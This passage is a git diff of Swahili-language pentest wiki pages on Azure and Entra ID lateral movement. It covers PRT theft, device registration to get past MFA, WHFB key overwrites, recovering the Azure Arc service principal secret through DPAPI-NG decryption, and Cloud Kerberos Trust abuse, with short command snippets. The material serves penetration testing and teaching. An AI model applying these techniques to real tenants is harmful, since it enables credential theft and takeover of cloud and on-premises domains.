diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 48a80565e..2e6ba8b7c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -442,22 +442,19 @@ - [Az - Azure Network](pentesting-cloud/azure-security/az-services/vms/az-azure-network.md) - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md) - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md) - - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md) - - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md) - - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md) - - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md) - - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md) - - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md) - - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md) - - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md) - - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md) - - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) + - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) + - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md) + - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md) + - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md) + - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md) + - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md) + - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md) - [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md) - - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md) - - [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md) - - [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md) + - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) + - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md) + - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 9a4917599..d76057b85 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -6,11 +6,11 @@ Wakati kifaa kinajiunga na AzureAD, kitu kipya kinaundwa katika AzureAD. -Wakati wa kujiandikisha kifaa, **mtumiaji anaombwa kuingia na akaunti yake** (akiulizwa kwa MFA ikiwa inahitajika), kisha inahitaji tokeni za huduma ya usajili wa kifaa na kisha inaomba uthibitisho wa mwisho. +Wakati wa kujiandikisha kifaa, **mtumiaji anaombwa kuingia na akaunti yake** (akiulizwa kwa MFA ikiwa inahitajika), kisha inahitaji tokeni za huduma ya usajili wa kifaa na kisha inauliza uthibitisho wa mwisho. Kisha, jozi mbili za funguo za RSA zinaundwa katika kifaa: **funguo ya kifaa** (**funguo ya umma**) ambayo inatumwa kwa **AzureAD** na **funguo ya usafirishaji** (**funguo ya faragha**) ambayo inahifadhiwa katika TPM ikiwa inawezekana. -Kisha, **kitu** kinaundwa katika **AzureAD** (sio katika Intune) na AzureAD inarudisha kwa kifaa **cheti** kilichosainiwa na hiyo. Unaweza kuthibitisha kwamba **kifaa kimeunganishwa na AzureAD** na taarifa kuhusu **cheti** (kama ikiwa inalindwa na TPM). +Kisha, **kitu** kinaundwa katika **AzureAD** (sio katika Intune) na AzureAD inarudisha kwa kifaa **cheti** kilichosainiwa na hiyo. Unaweza kuthibitisha kwamba **kifaa kimejiunga na AzureAD** na taarifa kuhusu **cheti** (kama ikiwa inalindwa na TPM). ```bash dsregcmd /status ``` @@ -24,18 +24,18 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md ### TPM - Moduli ya Jukwaa Iliyotegemewa -**TPM** **inalinda** dhidi ya **uchimbaji** wa funguo kutoka kwa kifaa kilichozimwa (ikiwa kinalindwa na PIN) na kutoka kwa kuchimba nyenzo za faragha kutoka kwenye safu ya OS.\ +**TPM** **inalinda** dhidi ya **uchimbaji** wa funguo kutoka kwa kifaa kilichozimwa (ikiwa kinalindwa na PIN) na kutoka kwa kuchukua nyenzo za faragha kutoka kwa safu ya OS.\ Lakini **haiwezi kulinda** dhidi ya **kuangalia** muunganisho wa kimwili kati ya TPM na CPU au **kutumia nyenzo za kifahari** katika TPM wakati mfumo unafanya kazi kutoka kwa mchakato wenye haki za **SYSTEM**. Ikiwa utaangalia ukurasa ufuatao utaona kwamba **kuiba PRT** kunaweza kutumika kupata kama **mtumiaji**, ambayo ni nzuri kwa sababu **PRT iko kwenye vifaa**, hivyo inaweza kuibiwa kutoka kwao (au ikiwa haijaibiwa inaweza kutumika vibaya kuunda funguo mpya za kusaini): {{#ref}} -az-lateral-movement-cloud-on-prem/pass-the-prt.md +az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} ## Kusajili kifaa na tokeni za SSO -Itakuwa inawezekana kwa mshambuliaji kuomba tokeni kwa huduma ya usajili wa kifaa ya Microsoft kutoka kwa kifaa kilichovunjwa na kukisajili: +Ingewezekana kwa mshambuliaji kuomba tokeni kwa huduma ya usajili wa kifaa ya Microsoft kutoka kwa kifaa kilichovunjwa na kuisajili: ```bash # Initialize SSO flow roadrecon auth prt-init @@ -50,33 +50,33 @@ registerdevice.py Ambayo itakupa **cheti ambacho unaweza kutumia kuomba PRTs katika siku zijazo**. Hivyo kudumisha uthibitisho na **kuzidi MFA** kwa sababu token ya PRT ya awali iliyotumika kujiandikisha kifaa kipya **ilikuwa tayari na ruhusa za MFA zilizotolewa**. > [!TIP] -> Kumbuka kwamba ili kufanya shambulio hili utahitaji ruhusa za **kujiandikisha vifaa vipya**. Pia, kujiandikisha kifaa hakumaanishi kifaa kitakuwa **na ruhusa ya kujiunga na Intune**. +> Kumbuka kwamba ili kufanya shambulio hili utahitaji ruhusa za **kujiandikisha vifaa vipya**. Pia, kujiandikisha kifaa hakumaanishi kifaa kitakuwa **kimekubaliwa kujiunga na Intune**. > [!CAUTION] > Shambulio hili lilirekebishwa mnamo Septemba 2021 kwani huwezi tena kujiandikisha vifaa vipya kwa kutumia token za SSO. Hata hivyo, bado inawezekana kujiandikisha vifaa kwa njia halali (ikiwa na jina la mtumiaji, nenosiri na MFA ikiwa inahitajika). Angalia: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). -## Kubadilisha tiketi ya kifaa +## Kuandika tena tiketi ya kifaa -Ilikuwa inawezekana **kuomba tiketi ya kifaa**, **kubadilisha** ile ya sasa ya kifaa, na wakati wa mchakato **kuiba PRT** (hivyo hakuna haja ya kuiba kutoka kwa TPM. Kwa maelezo zaidi [**angalia mazungumzo haya**](https://youtu.be/BduCn8cLV1A). +Ilikuwa inawezekana **kuomba tiketi ya kifaa**, **kuandika tena** ile ya sasa ya kifaa, na wakati wa mchakato **kuiiba PRT** (hivyo hakuna haja ya kuiba kutoka kwa TPM. Kwa maelezo zaidi [**angalia mazungumzo haya**](https://youtu.be/BduCn8cLV1A).
> [!CAUTION] > Hata hivyo, hili lilirekebishwa. -## Badilisha funguo za WHFB +## Andika tena funguo za WHFB [**Angalia slaidi za asili hapa**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) Muhtasari wa shambulio: -- Inawezekana **kubadilisha** funguo ya **WHFB** iliyosajiliwa kutoka kwa **kifaa** kupitia SSO -- In **shinda ulinzi wa TPM** kwani funguo inachukuliwa **wakati wa uzalishaji** wa funguo mpya +- Inawezekana **kuandika tena** funguo za **WHFB** zilizoorodheshwa kutoka kwa **kifaa** kupitia SSO +- In **shinda ulinzi wa TPM** kwani funguo hiyo **inasomwa wakati wa uzalishaji** wa funguo mpya - Hii pia inatoa **uthibitisho**
-Watumiaji wanaweza kubadilisha mali yao ya searchableDeviceKey kupitia Azure AD Graph, hata hivyo, mshambuliaji anahitaji kuwa na kifaa katika mpangilio (kilichosajiliwa kwa haraka au akiwa na cheti + funguo iliyoporwa kutoka kifaa halali) na token ya ufikiaji halali kwa AAD Graph. +Watumiaji wanaweza kubadilisha mali yao ya searchableDeviceKey kupitia Azure AD Graph, hata hivyo, mshambuliaji anahitaji kuwa na kifaa katika tenant (kilichojiandikisha kwa haraka au akiwa na cheti + funguo iliyoporwa kutoka kifaa halali) na token ya ufikiaji halali kwa AAD Graph. Kisha, inawezekana kuzalisha funguo mpya kwa: ```bash @@ -86,7 +86,7 @@ na kisha PATCH taarifa za searchableDeviceKey:
-Inawezekana kupata tokeni ya ufikiaji kutoka kwa mtumiaji kupitia **device code phishing** na kutumia hatua zilizopita ili **kuiba ufikiaji wake**. Kwa maelezo zaidi angalia: +Inawezekana kupata token ya ufikiaji kutoka kwa mtumiaji kupitia **device code phishing** na kutumia hatua zilizopita ili **kuiba ufikiaji wake**. Kwa maelezo zaidi angalia: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 80b245fe6..450f75d8d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -1,65 +1,39 @@ # Az - Lateral Movement (Cloud - On-Prem) -## Az - Lateral Movement (Cloud - On-Prem) - {{#include ../../../banners/hacktricks-training.md}} -### Mashine za On-Prem zilizounganishwa na wingu +## Basic Information -Kuna njia tofauti ambazo mashine zinaweza kuunganishwa na wingu: +Sehemu hii inashughulikia mbinu za pivoting ili kuhamia kutoka kwa mpangilio wa Entra ID ulioathirika hadi Active Directory (AD) ya ndani au kutoka kwa AD iliyoathirika hadi mpangilio wa Entra ID. -#### Azure AD joined +## Pivoting Techniques -
+- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Ikiwa mshambuliaji anaweza kudhibiti au kuunda akaunti ya kompyuta ya AD na kufikia sehemu ya Azure Arc GPO deployment, wanaweza kufungua siri ya Service Principal iliyohifadhiwa na kuitumia kujiandikisha kwa Azure kama huduma inayohusiana, na hivyo kuathiri kabisa mazingira ya Azure yaliyounganishwa. -#### Workplace joined +- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Jinsi ya pivot kutoka Entra ID hadi AD wakati Cloud Kerberos Trust imewekwa. Msimamizi wa Kimataifa katika Entra ID (Azure AD) anaweza kutumia Cloud Kerberos Trust na API ya sync kuiga akaunti za AD zenye mamlaka ya juu, kupata tiketi zao za Kerberos au NTLM hashes, na kuathiri kabisa Active Directory ya ndani—hata kama akaunti hizo hazijawahi kuunganishwa na wingu—kivitendo kuunganisha kupandisha mamlaka kutoka wingu hadi AD. -

https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large

+- [**Cloud Sync**](az-cloud-sync.md): Jinsi ya kutumia Cloud Sync kuhamia kutoka wingu hadi AD ya ndani na kinyume chake. -#### Hybrid joined +- [**Connect Sync**](az-connect-sync.md): Jinsi ya kutumia Connect Sync kuhamia kutoka wingu hadi AD ya ndani na kinyume chake. -

https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large

+- [**Domain Services**](az-domain-services.md): Ni nini Azure Domain Services na jinsi ya pivot kutoka Entra ID hadi AD inayozalisha. -#### Workplace joined on AADJ or Hybrid +- [**Federation**](az-federation.md): Jinsi ya kutumia Federation kuhamia kutoka wingu hadi AD ya ndani na kinyume chake. -

https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

+- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): Mashambulizi mbalimbali yanayoweza kutumika kuhamia kutoka wingu hadi AD ya ndani na kinyume chake. -### Tokens na mipaka +- [**Local Cloud Credentials**](az-local-cloud-credentials.md): Wapi kupatikana kwa akreditivu za wingu wakati PC imeathirika. -Katika Azure AD, kuna aina tofauti za tokens zenye mipaka maalum: +- [**Pass the Certificate**](az-pass-the-certificate.md): Tengeneza cheti kulingana na PRT kuingia kutoka mashine moja hadi nyingine. -- **Access tokens**: Zinatumika kupata APIs na rasilimali kama Microsoft Graph. Zimefungwa kwa mteja maalum na rasilimali. -- **Refresh tokens**: Zinatolewa kwa programu ili kupata access tokens mpya. Zinapaswa kutumiwa tu na programu ambazo zilitolewa au kundi la programu. -- **Primary Refresh Tokens (PRT)**: Zinatumika kwa Usajili wa Moja kwa Moja kwenye vifaa vilivyojiunga na Azure AD, vilivyosajiliwa, au vilivyojiunga kwa njia ya mchanganyiko. Zinatumika katika michakato ya kuingia kwenye kivinjari na kwa kuingia kwenye programu za simu na kompyuta kwenye kifaa. -- **Windows Hello for Business keys (WHFB)**: Zinatumika kwa uthibitisho bila nywila. Zinatumika kupata Primary Refresh Tokens. +- [**Pass the Cookie**](az-pass-the-cookie.md): Nyakua cookies za Azure kutoka kwa kivinjari na uzitumie kuingia. -Aina ya kipekee ya token ni Primary Refresh Token (PRT). +- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): Ni nini PRT, jinsi ya kuiba na kuitumia kupata rasilimali za Azure kwa kuiga mtumiaji. -{{#ref}} -az-primary-refresh-token-prt.md -{{#endref}} +- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): Jinsi ya kutumia Pass-through Authentication kuhamia kutoka wingu hadi AD ya ndani na kinyume chake. -### Mbinu za Pivoting +- [**Seamless SSO**](az-seamless-sso.md): Jinsi ya kutumia Seamless SSO kuhamia kutoka ndani hadi wingu. -Kutoka kwenye **mashine iliyovunjwa hadi wingu**: - -- [**Pass the Cookie**](az-pass-the-cookie.md): Nyakua cookies za Azure kutoka kwenye kivinjari na uzitumie kuingia -- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump kumbukumbu za michakato ya ndani iliyosawazishwa na wingu (kama excel, Teams...) na pata access tokens kwa maandiko wazi. -- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish PRT ili kuikandamiza -- [**Pass the PRT**](pass-the-prt.md): Nyakua PRT ya kifaa ili kupata Azure kwa kujifanya kuwa hicho kifaa. -- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Tengeneza cheti kulingana na PRT ili kuingia kutoka mashine moja hadi nyingine - -Kutoka kwenye kuathiri **AD** hadi kuathiri **Wingu** na kutoka kwenye kuathiri **Wingu hadi** kuathiri **AD**: - -- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) - **Njia nyingine ya pivot kutoka wingu hadi On-Prem ni** [**kuabudu Intune**](../az-services/intune.md) -#### [Roadtx](https://github.com/dirkjanm/ROADtools) - -Zana hii inaruhusu kufanya vitendo kadhaa kama kujiandikisha mashine katika Azure AD ili kupata PRT, na kutumia PRTs (halali au zilizonyakuliwa) kupata rasilimali kwa njia tofauti. Hizi si mashambulizi ya moja kwa moja, lakini inarahisisha matumizi ya PRTs kupata rasilimali kwa njia tofauti. Pata maelezo zaidi katika [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) - -## Marejeleo - -- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index a7d628b12..cffd268eb 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -4,16 +4,16 @@ ### Kutambua Masuala -Azure Arc inaruhusu kuunganishwa kwa seva mpya za ndani (seva zilizounganishwa kwenye eneo) ndani ya Azure Arc kwa kutumia njia ya Group Policy Object. Ili kuwezesha hili, Microsoft inatoa zana za usambazaji zinazohitajika kwa ajili ya kuanzisha mchakato wa kuingiza. Ndani ya faili ya ArcEnableServerGroupPolicy.zip, skripti zifuatazo zinaweza kupatikana: DeployGPO.ps1, EnableAzureArc.ps1, na AzureArcDeployment.psm1. +Azure Arc inaruhusu kuunganishwa kwa seva mpya za ndani (seva zilizounganishwa kwenye kikoa) ndani ya Azure Arc kwa kutumia njia ya Group Policy Object. Ili kuwezesha hili, Microsoft inatoa zana za usambazaji zinazohitajika kwa ajili ya kuanzisha mchakato wa kuingiza. Ndani ya faili ya ArcEnableServerGroupPolicy.zip, skripti zifuatazo zinaweza kupatikana: DeployGPO.ps1, EnableAzureArc.ps1, na AzureArcDeployment.psm1. Wakati inatekelezwa, skripti ya DeployGPO.ps1 inafanya hatua zifuatazo: -1. Inaunda Azure Arc Servers Onboarding GPO ndani ya eneo la ndani. -2. Inakopya skripti ya kuingiza ya EnableAzureArc.ps1 kwenye sehemu ya mtandao iliyotengwa kwa ajili ya mchakato wa kuingiza, ambayo pia ina kifurushi cha installer cha Windows. +1. Inaunda Azure Arc Servers Onboarding GPO ndani ya kikoa cha ndani. +2. Inakopya skripti ya kuingiza ya EnableAzureArc.ps1 kwenye sehemu ya mtandao iliyotengwa kwa ajili ya mchakato wa kuingiza, ambayo pia ina pakiti ya installer ya Windows. -Wakati wa kuendesha skripti hii, wasimamizi wa mfumo wanahitaji kutoa vigezo viwili vikuu: **ServicePrincipalId** na **ServicePrincipalClientSecret**. Aidha, inahitaji vigezo vingine kama vile eneo, FQDN ya seva inayohifadhi sehemu, na jina la sehemu. Maelezo zaidi kama vile kitambulisho cha mpangaji, kundi la rasilimali, na taarifa nyingine muhimu lazima pia zitolewe kwa skripti. +Wakati wa kuendesha skripti hii, wasimamizi wa mfumo wanahitaji kutoa vigezo viwili vikuu: **ServicePrincipalId** na **ServicePrincipalClientSecret**. Aidha, inahitaji vigezo vingine kama vile kikoa, FQDN ya seva inayohifadhi sehemu, na jina la sehemu. Maelezo zaidi kama vile kitambulisho cha mpangilio, kundi la rasilimali, na taarifa nyingine muhimu lazima pia zitolewe kwa skripti. -Siri iliyosimbwa inaundwa katika saraka ya AzureArcDeploy kwenye sehemu iliyotajwa kwa kutumia usimbaji wa DPAPI-NG. Siri iliyosimbwa inahifadhiwa katika faili inayoitwa encryptedServicePrincipalSecret. Ushahidi wa hili unaweza kupatikana katika skripti ya DeployGPO.ps1, ambapo usimbaji unafanywa kwa kuita ProtectBase64 na $descriptor na $ServicePrincipalSecret kama ingizo. Maelezo ya descriptor yanajumuisha SID za Kundi la Kompyuta za Eneo na Kundi la Watawala wa Eneo, kuhakikisha kwamba ServicePrincipalSecret inaweza kusimbwa tu na Watawala wa Eneo na vikundi vya usalama vya Kompyuta za Eneo, kama ilivyotajwa katika maelezo ya skripti. +Siri iliyosimbwa inaundwa katika saraka ya AzureArcDeploy kwenye sehemu iliyotajwa kwa kutumia usimbaji wa DPAPI-NG. Siri iliyosimbwa inahifadhiwa katika faili inayoitwa encryptedServicePrincipalSecret. Ushahidi wa hili unaweza kupatikana katika skripti ya DeployGPO.ps1, ambapo usimbaji unafanywa kwa kuita ProtectBase64 na $descriptor na $ServicePrincipalSecret kama ingizo. Maelezo ya descriptor yanajumuisha SID za Kundi la Kompyuta za Kikoa na Kiongozi wa Kikoa, kuhakikisha kwamba ServicePrincipalSecret inaweza kusimbwa tu na Kiongozi wa Kikoa na vikundi vya usalama vya Kompyuta za Kikoa, kama ilivyotajwa katika maoni ya skripti. ```bash # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -26,7 +26,7 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe Tuna masharti yafuatayo: -1. Tumepenya kwa mafanikio kwenye mtandao wa ndani. +1. Tumefanikiwa kuingia kwenye mtandao wa ndani. 2. Tuna uwezo wa kuunda au kudhibiti akaunti ya kompyuta ndani ya Active Directory. 3. Tumegundua sehemu ya mtandao inayoshikilia saraka ya AzureArcDeploy. @@ -52,7 +52,7 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer $ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret) $ebs ``` -Mbali na hayo, tunaweza kutumia [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). +Kwa upande mwingine, tunaweza kutumia [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). Katika hatua hii, tunaweza kukusanya taarifa zilizobaki zinazohitajika kuungana na Azure kutoka kwa faili ya ArcInfo.json, ambayo imehifadhiwa kwenye sehemu ile ile ya mtandao kama faili ya encryptedServicePrincipalSecret. Faili hii ina maelezo kama: TenantId, servicePrincipalClientId, ResourceGroup, na mengineyo. Kwa kutumia taarifa hizi, tunaweza kutumia Azure CLI kuthibitisha kama service principal iliyoshambuliwa. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md similarity index 53% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md index b5725fb31..b9f1dc5e7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md @@ -6,21 +6,21 @@ ## Muhtasari wa Uhusiano wa Kerberos Trust -**Cloud Kerberos Trust (Entra ID -> AD)** -- Kipengele hiki (sehemu ya Windows Hello for Business) kinaanzisha uaminifu wa upande mmoja ambapo AD ya ndani **inaamini Entra ID** kutoa tiketi za Kerberos kwa AD. Kuwawezesha kunaunda kitu cha kompyuta **AzureADKerberos$** katika AD (kinachonekana kama Kidhibiti cha Kanda cha Kusoma tu) na akaunti iliyounganishwa **`krbtgt_AzureAD`** (KRBTGT ya pili). Entra ID inashikilia funguo za akaunti hizi na inaweza kutoa "sehemu" za Kerberos TGT kwa watumiaji wa AD. Wajibu wa kudhibiti kanda za AD wataheshimu tiketi hizi, lakini kwa vizuizi kama vya RODC: kwa kawaida, **makundi yenye mamlaka ya juu (Domain Admins, Enterprise Admins, nk.) yanakataliwa** na watumiaji wa kawaida wanaruhusiwa. Hii inazuia Entra ID kuthibitisha wasimamizi wa kanda kupitia uaminifu katika hali za kawaida. Hata hivyo, kama tutakavyoona, mshambuliaji mwenye mamlaka ya kutosha ya Entra ID anaweza kutumia muundo huu wa uaminifu. +**Cloud Kerberos Trust (Entra ID -> AD)** -- Kipengele hiki (sehemu ya Windows Hello for Business) kinaanzisha uaminifu wa upande mmoja ambapo AD ya ndani **inaamini Entra ID** kutoa tiketi za Kerberos kwa AD. Kuwawezesha kunaunda kitu cha kompyuta **AzureADKerberos$** katika AD (kinachonekana kama Kidhibiti cha Kikoa cha Kusoma tu) na akaunti iliyo na kiungo **`krbtgt_AzureAD`** (KRBTGT ya pili). Entra ID inashikilia funguo za akaunti hizi na inaweza kutoa "sehemu" za Kerberos TGT kwa watumiaji wa AD. Wajibu wa kudhibiti kikoa cha AD wataheshimu tiketi hizi, lakini kwa vizuizi kama vya RODC: kwa kawaida, **makundi yenye mamlaka ya juu (Domain Admins, Enterprise Admins, nk.) yanakataliwa** na watumiaji wa kawaida wanaruhusiwa. Hii inazuia Entra ID kuthibitisha wasimamizi wa kikoa kupitia uaminifu chini ya hali za kawaida. Hata hivyo, kama tutakavyoona, mshambuliaji mwenye mamlaka ya kutosha ya Entra ID anaweza kutumia muundo huu wa uaminifu. ## Kuhamasisha kutoka Entra ID hadi On-Prem AD -**Hali:** Shirika lengwa lina **Cloud Kerberos Trust** iliyowezeshwa kwa uthibitisho usio na nenosiri. Mshambuliaji amepata mamlaka ya **Global Administrator** katika Entra ID (Azure AD) lakini bado **hajadhibiti** AD ya ndani. Mshambuliaji pia ana mguu na ufikiaji wa mtandao kwa Kidhibiti cha Kanda (kupitia VPN au VM ya Azure katika mtandao wa mseto). Kwa kutumia uaminifu wa wingu, mshambuliaji anaweza kutumia udhibiti wa Azure AD kupata mguu wa kiwango cha **Domain Admin** katika AD. +**Hali:** Shirika lengwa lina **Cloud Kerberos Trust** limewezeshwa kwa uthibitisho usio na nenosiri. Mshambuliaji amepata mamlaka ya **Global Administrator** katika Entra ID (Azure AD) lakini bado **hajadhibiti** AD ya ndani. Mshambuliaji pia ana mguu na ufikiaji wa mtandao kwa Kidhibiti cha Kikoa (kupitia VPN au VM ya Azure katika mtandao wa mseto). Kwa kutumia uaminifu wa wingu, mshambuliaji anaweza kutumia udhibiti wa Azure AD kupata mguu wa kiwango cha **Domain Admin** katika AD. -**Mahitaji:** +**Vigezo vya Msingi:** - **Cloud Kerberos Trust** imewekwa katika mazingira ya mseto (kiashiria: akaunti ya `AzureADKerberos$` RODC inapatikana katika AD). -- Mshambuliaji ana haki za **Global Admin (au Hybrid Identity Admin)** katika mpangilio wa Entra ID (majukumu haya yanaweza kutumia **synchronization API** ya AD Connect kubadilisha watumiaji wa Azure AD). +- Mshambuliaji ana **Global Admin (au Hybrid Identity Admin)** haki katika mpangilio wa Entra ID (majukumu haya yanaweza kutumia **synchronization API** ya AD Connect kubadilisha watumiaji wa Azure AD). -- Angalau akaunti moja ya **mtumiaji wa mseto** (inapatikana katika AD na AAD) ambayo mshambuliaji anaweza kuthibitisha kama. Hii inaweza kupatikana kwa kujua au kurekebisha akidi zake au kupewa njia isiyo na nenosiri (mfano, Pass ya Ufikiaji wa Muda) ili kuunda Tokeni ya Kurefreshi ya Kwanza (PRT) kwa ajili yake. +- Angalau akaunti moja ya **mtumiaji wa mseto** (inapatikana katika AD na AAD) ambayo mshambuliaji anaweza kuthibitisha kama. Hii inaweza kupatikana kwa kujua au kurekebisha akidi zake au kupewa njia isiyo na nenosiri (k.m. Pass ya Ufikiaji wa Muda) ili kuunda Tokeni ya Kurefreshi ya Kwanza (PRT) kwa ajili yake. -- Akaunti ya **lengo la AD ya ndani** yenye mamlaka ya juu ambayo *siyo* katika sera ya "kukataa" ya RODC ya kawaida. Katika mazoezi, lengo bora ni akaunti ya **AD Connect sync** (mara nyingi inaitwa **MSOL_***), ambayo ina haki za DCSync (replika) katika AD lakini kwa kawaida si mwanachama wa makundi ya usimamizi yaliyojengwa. Akaunti hii kwa kawaida haiwezi kuhamasishwa kwa Entra ID, na kufanya SID yake ipatikane kwa ajili ya kujifanya bila mgongano. +- Akaunti ya **lengo la AD ya ndani** yenye mamlaka ya juu ambayo **siyo** katika sera ya "kukataa" ya RODC ya kawaida. Katika mazoezi, lengo bora ni akaunti ya **AD Connect sync** (mara nyingi inaitwa **MSOL_***), ambayo ina haki za DCSync (replika) katika AD lakini kwa kawaida si mwanachama wa makundi ya 